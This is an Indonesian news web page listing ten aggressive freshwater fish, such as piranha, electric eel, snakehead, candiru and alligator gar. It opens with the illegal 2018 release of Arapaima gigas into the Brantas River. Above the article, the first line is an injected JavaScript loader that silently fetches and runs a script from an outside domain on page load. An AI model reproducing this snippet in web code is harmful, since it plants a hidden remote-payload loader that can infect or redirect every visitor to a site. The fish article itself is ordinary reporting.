(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lingkungan

Mengenal 10 Jenis Ikan Air Tawar Paling Ganas di Dunia


Di penghujung Juni 2018, publik hangat membicarakan ikan Arapaima gigas yang dilepaskan pihak tak bertanggung jawab di Sungai Brantas, Mojokerto, Jawa Timur. Ikan air tawar endemik Sungai Amazon di Amerika Selatan ini, sejatinya sudah dilarang masuk ke wilayah Indonesia berdasarkan Peraturan Menteri Kelautan dan Perikanan Nomor 41 Tahun 2014. Mengapa ikan yang panjangnya bisa mencapai empat meter ini begitu ditakutkan kehadirannya?

Renny Kurnia Hadiaty, peneliti iktiologi atau biologi ikan dari Pusat Penelitian Biologi LIPI, dalam keterangan tertulisnya kepada media menjelaskan Arapaima gigas sangat berbahaya bagi ikan asli Indonesia karena sifatnya yang predator. “Jenis yang dinamai Pirarucu atau ikan merah oleh masyarakat sekitar Amazon ini tidak hanya memangsa ikan tetapi juga melahap udang, katak, hingga burung yang terbang di sekitar permukaan air.”

Renny melanjutkan, hadirnya Arapaima gigas dipastikan menjadi pesaing ikan asli yang telah ada. Tidak hanya dalam hal makanan tetapi juga pemanfaatan ruang jelajah. “Ukurannya yang besar pastinya akan menghabisi satwa akuatik asli di perairan yang dimasukinya. Terlebih, jenis ini bisa beradaptasi di lingkungan yang tidak ideal sekalipun dan kemampuan reproduksinya hingga 50 ribu butir dalam sekali pembuahan,” jelasnya.

Haryono dari Pusat Penelitian Biologi LIPI menambahkan, di negara asalnya Arapaima gigas sudah mengalami overfishing. Bahkan, Pemerintah Brasil telah mengeluarkan larangan untuk menangkapnya sejak 2001. Meski begitu, penangkapan ilegal terus terjadi sehingga diduga populasinya menurun.

“Arapaima gigas yang dilepas di Sungai Brantas dan di perairan air tawar Indonesia harus ditangkap seluruhnya. Sosialisasi peraturan harus digiatkan agar pelaku, pengusaha, dan pemelihara ikan hias mengerti, hingga sanki yang harus diberikan,” jelasnya.

Michael Risdianto dari Wild Water Indonesia, dalam keterangan tertulisnya menyayangkan pelepasan spesies asing invasif yang pastinya merugikan sumber ikan lokal dan lingkungan kita. “Ikan predator yang beratnya bisa mencapai 200 kilogram ini akan merusak keaslian ekosistem perairan Sungai Brantas. Untuk perairan Indonesia yang lebih baik, mari kita selamatkan ikan lokal dan jaga sumber mata air yang ada,” tandasnya.

Arapaima gigas masuk Appendix II dalam daftar Convention International Trade in Endangered (CITES). Artinya, jenis ini belum mengalami kepunahan, namun harus diawasi perdagangannya agar tetap tejaga kelestariannya.

Selain Arapaima, sejatinya ada beberapa jenis ikan air tawar predator yang mematikan. Mongabay Indonesia telah mengumpulkan 10 ikan air tawar terganas dari berbagai sumber yang patut Anda ketahui:

  • Piranha (Pygocentrus nattereri)

Jenis ini sudah mendapatkan reputasi sebagai ikan air tawar sangat berbahaya, dan sering ditampilkan dalam film-film thriller Hollywood. Piranha atau piraña adalah ikan air tawar terganas dan predator yang hidup di sungai-sungai di Amerika Selatan.Ikan ini selalu mencari makan berkelompok, melahap satwa dengan cepat juga ikan, siput, serangga yang hinggap di air, hingga tanaman-tanaman sungai.

  • Belut listrik (Electrophorus electricus)

Belut listrik sebenarnya adalah jenis ikan todak dan lebih terkait erat dengan ikan lele dibandingkan belut sejati. Ikan yang tidak biasa ini menghuni perairan di Amazon dan lembah Orinoco di Amerika Selatan, tempat mereka berburu mangsa dan mempertahankan diri dengan menghasilkan semburan listrik yang kuat dan mematikan.

Belut listrik menghirup udara dari permukaan untuk bernafas. Berkat organ internal khusus, ia dapat menghasilkan kejutan listrik lebih besar dari 500 volt. Itu cukup untuk membunuh manusia dewasa. Jenis ini hanya menyerang manusia jika terganggu dan cenderung hidup di air yang keruh dan stagnan.

  • Ikan kepala ular/snakehead

Ikan ini cukup ditakuti. Para ahli biologi seringkali memperingatkan bahwa ikan air tawar ini dapat dengan mudah menghabisi hewan-hewan air tawar lain di Amerika Utara. Predator ini terkenal rakusmemburu makanan, memangsa invertebrata, katak, dan ikan yang lebih kecil,bahkan menyerang apa pun yang bergerak.

Snakehead dapat hidup di luar air hingga empat hari lamanya dan bisa bertahan dari kekeringan di sungai dengan menggali ke dalam lumpur. Nama snakehead mengacu pada bentuk kepalanya yang menyerupai kepala ular.

  • Ikan Muskellunge (Esox masquinongy)

Ikan muskellunge (Esox masquinongy) adalah raja habitat air tawar di Amerika Utara,bisa tumbuh sepanjang 1,8 meter dan beratnya mencapai 32 kilogram. Ikan ini masih berkerabat dengan barracuda,berbadan besar, panjang, bergigi tajam, dan tentu saja kuat. Muskellunge dapat dengan mudah menarik mangsanya yang besar ke bawah air.

  • Pari air tawar raksasa (Himantura chaophraya)

Ikan pari air tawar raksasa diketahui menghuni sungai-sungai di Asia Tenggara dan Australia utara, panjangnya hingga5 meterdengan berat hingga 600 kilogram. Sangat sedikit informasinya, termasuk berapa banyak yang tersisa, dan apakah bisa hidup di air asin.

Jenis ini sulit dilihat, karena sering mengubur diri di sedimen sungai. Tubuhnya memiliki duri di pangkal ekor sepanjang 28 cm yang mengandung racun mematikan. Banyak ilmuwan takut bila ikan ini terancam akibat hilangnya habitat dan polusi air sungai.

  • Ikan Payara (Hydrolycus scomberoides)

Ikan ini disebut sebagai vampirnya dunia ikan. Ikan yang yang banyak ditemukan di perairan air tawar di Amerika Selatan ini memiliki ciri khas taring bawah yang panjang dan tajam. Payara sangat licin, lincah, dan, memiliki warna silver mencolok. Tubuhnya, bisa sepanjang setengah meter dan giginya yang tajam dengan mudah menembus daging mangsanya. Mereka dikenal sebagai pemangsa ikan-ikan piranha.

  • Ikan Candiru (Vandellia cirrhosa)

Ikan ini ukurannya kecil, sekitar 15 cm panjangnya. Namun karena ukurannya ini, ia menjadi salah satu ikan air tawar paling ditakuti di dunia. Biasanya, memakan insang ikan yang lebih besar di Amazon. Namun, selama beberapa abad terakhir telah ada laporan tentang makhluk-makhluk ini di uretra manusia, masuk melalui lubang-lubang tubuh.

Candiru adalah ikan parasit, sekali mereka masuk ke salah satu lubang, entah itu anus, vagina atau salurang kencing, mereka akan tinggal di sana dengan mencampur rasa sakit luar biasa. Sialnya, ikan ini tidak bisa dikeluarkan dengan cara biasa, hanya melalui operasi.

  • Hiu banteng (Carcharhinus leucas)

Hiu ini banyak ditemukan di perairan dangkal dan hangat sepanjang pantai. Inilah mengapa sangat berbahaya bagi manusia. Hiu banteng bisa lama beredar di air tawar atau sungai meski bukan jenis hiu sungai sejati. Jenis ini memangsa ikan, penyu, burung, kerang, udang-udangan, bahkan mamalia darat.

  • Aligator gar (Atractosteus spatula)

Ini adalah jenis ikan aligator terbesar di dunia. Ikan ini pada umumnya memiliki panjang 2,5 meter dengan berat 100 kg. Alligator gar biasanya memakan ikan kecil, serangga, mamalia air dan bahkan buaya berukuran kecil. Ikan ini sangat agresif, dan di berbagai negara dilarang untuk diperjualbelikan karena bisa merusak ekosistem alami sungai.

Oleh para ahli, Alligator gar dianggap sebagai fosil hidup. Ini dikarenakan tergolong primitif yang sudah ada sejak ratusan juta tahun lalu. Jenis ini merupakan ikan asli Amerika Serikat bagian Selatan, yakni perairan sepanjang Texas dan Oklahoma juga Sungai Mississipi, Sungai Ohio dan Missouri hingga ke Meksiko. Giginya tajam menyeramkan, meski begitu belum ada laporan penyerangan terhadap manusia.

  • Ikan macan (Hydrocynus vittatus)

Ikan ini hidup di sungai-sungai besardi Afrika, sebagai predator ganas dengan gigi-gigi tajam yang besar. Mereka sering berburu berkelompok dan sesekali memakan hewan besar.(cel/net)

Reporter:Cel/net
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

4 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

6 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

9 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

10 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

10 jam ago

This website uses cookies.